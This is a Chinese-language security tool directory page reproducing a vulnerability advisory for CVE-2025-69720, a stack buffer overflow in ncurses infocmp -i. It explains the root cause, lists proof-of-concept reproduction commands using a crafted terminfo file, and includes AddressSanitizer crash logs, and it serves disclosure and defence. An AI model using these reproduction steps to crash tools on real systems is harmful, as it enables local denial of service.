Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-69720 — CVE-2025-69720 公告：GNU ncurses infocmp 中的基于栈的缓冲区溢出（CWE-121） | Kitploit
工具/GitHubGitHub/cao-wuhui/cve-2025-69720
静态分析漏洞分析漏洞利用模糊测试二进制分析学习与教育
GitHubcao-wuhui/cve-2025-69720

CVE-2025-69720

CVE-2025-69720 公告：GNU ncurses infocmp 中的基于栈的缓冲区溢出（CWE-121）

查看仓库
2425个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2025-69720: ncurses infocmp -i 栈缓冲区溢出 (CWE-121)

报告人：Yixuan Cao (深圳大学)，[email protected]

环境

  • 主机：openEuler 22.03 LTS (Linux aarch64)
  • 工具链：系统 clang 12.0.1 + AddressSanitizer
  • 源代码：ncurses-6.4 和 ncurses-6.5（在补丁 20251213 之前）

摘要

infocmp -i 调用 analyze_string() (progs/infocmp.c) 来检查 terminfo 条目中的 CSI 序列。该例程将候选子字符串复制到一个固定大小的栈缓冲区 (buf2，4096 字节)。由于 len = strlen(cp) 未与 4096 进行比较，恶意构造的超长 CSI 参数列表（例如 sgr=\E[1234567;…;m 包含约 800 个参数）会溢出 buf2，导致栈破坏。相同的 PoC 在 6.4 和 20251213 补丁之前的 6.5 上均可复现（参见下面的 ASan 输出）。未测试早于 6.4 的版本。

ncurses 更新日志 (2025/12/13) 已确认并修复了该错误，并提供了官方补丁。

影响

  • 对精心构造的 terminfo 条目运行 infocmp -i 可能导致工具崩溃（栈缓冲区溢出），即针对该调用的本地拒绝服务。
  • 溢出发生在 progs/infocmp.c (analyze_string) 中，当 len = strlen(cp) 被用于复制到 buf2[MAX_TERMINFO_LENGTH] (4096) 而未检查 len 时，随后执行 buf2[len] = '\0'。
  • -i 选项是一个专门的分析路径，用于初始化/重置相关能力（is1/is2/is3/rs1/rs2/rs3/smcup/rmcup/smkx/rmkx）；它不影响不带 -i 的常见 infocmp 用法。
  • 已在以下版本修复：ncurses 6.5 配合补丁 20251213 (ncurses-6.5-20251213.patch.gz)。

复现步骤（以 ncurses-6.4 为例）

  1. 准备并编译带 ASan 的 ncurses-6.4 源代码：
    root@kitploit:~
    # 下载并解压 ncurses-6.4 源代码
# （假设位于 ~/ncurses-6.4，即 /home/<user>/ncurses-6.4）
cd ~
wget https://invisible-mirror.net/archives/ncurses/ncurses-6.4.tar.gz
tar xvf ncurses-6.4.tar.gz
cd ncurses-6.4

# 配置 ASan
CC=clang \
CFLAGS='-O1 -g -fsanitize=address' \
LDFLAGS='-fsanitize=address' \
./configure --enable-widec   # 保持宽字符支持，使长 SGR 得以保留

# 编译 infocmp/tic 等
make -j$(nproc)
  2. 将 PoC terminfo 源文件（假设文件为 ~/evil_sgr.ti）编译到临时数据库中：
    root@kitploit:~
    ~/ncurses-6.4/progs/tic -x -o /tmp/evilti ~/evil_sgr.ti
  3. 使用启用 ASan 的 infocmp 触发溢出：
    root@kitploit:~
    TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
    （对于 6.5，使用相应的 ~/ncurses-6.5/progs/... 路径。）

ASan 输出

对于 ncurses-6.4：

root@kitploit:~
[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
=================================================================
==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08
WRITE of size 6402 at 0xffffcfa5e240 thread T0
    #0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340)
    #1 0x4eee78 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:850:3
    #2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:1881:6
    #3 0xffffab9d0ffc  (/usr/lib64/libc.so.6+0x2affc)
    #4 0xffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c)

Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eebe0 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:818

  This frame has 2 object(s):
    [32, 4128) 'buf2' (line 819)
    [4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) in strncpy
Shadow bytes around the buggy address:
  0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
  0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
  0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3848299==ABORTING

对于 ncurses-6.5：

root@kitploit:~
[yixuan@Taishan200 ~]$  TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i evil_sgr
=================================================================
==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48
WRITE of size 6402 at 0xfffff7af5380 thread T0
    #0 0x443540 in strncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540)
    #1 0x4ef094 in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:874:3
    #2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:1913:6
    #3 0xffff811baffc  (/usr/lib64/libc.so.6+0x2affc)
    #4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c)

Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eedfc in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:842

  This frame has 2 object(s):
    [32, 4128) 'buf2' (line 843)
    [4256, 8352) 'buf3' (line 858) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540) in strncpy
Shadow bytes around the buggy address:
  0x200ffef5ea20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ffef5ea70:[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x200ffef5ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5ea90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5eaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5eab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ffef5eac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3863888==ABORTING
下载工具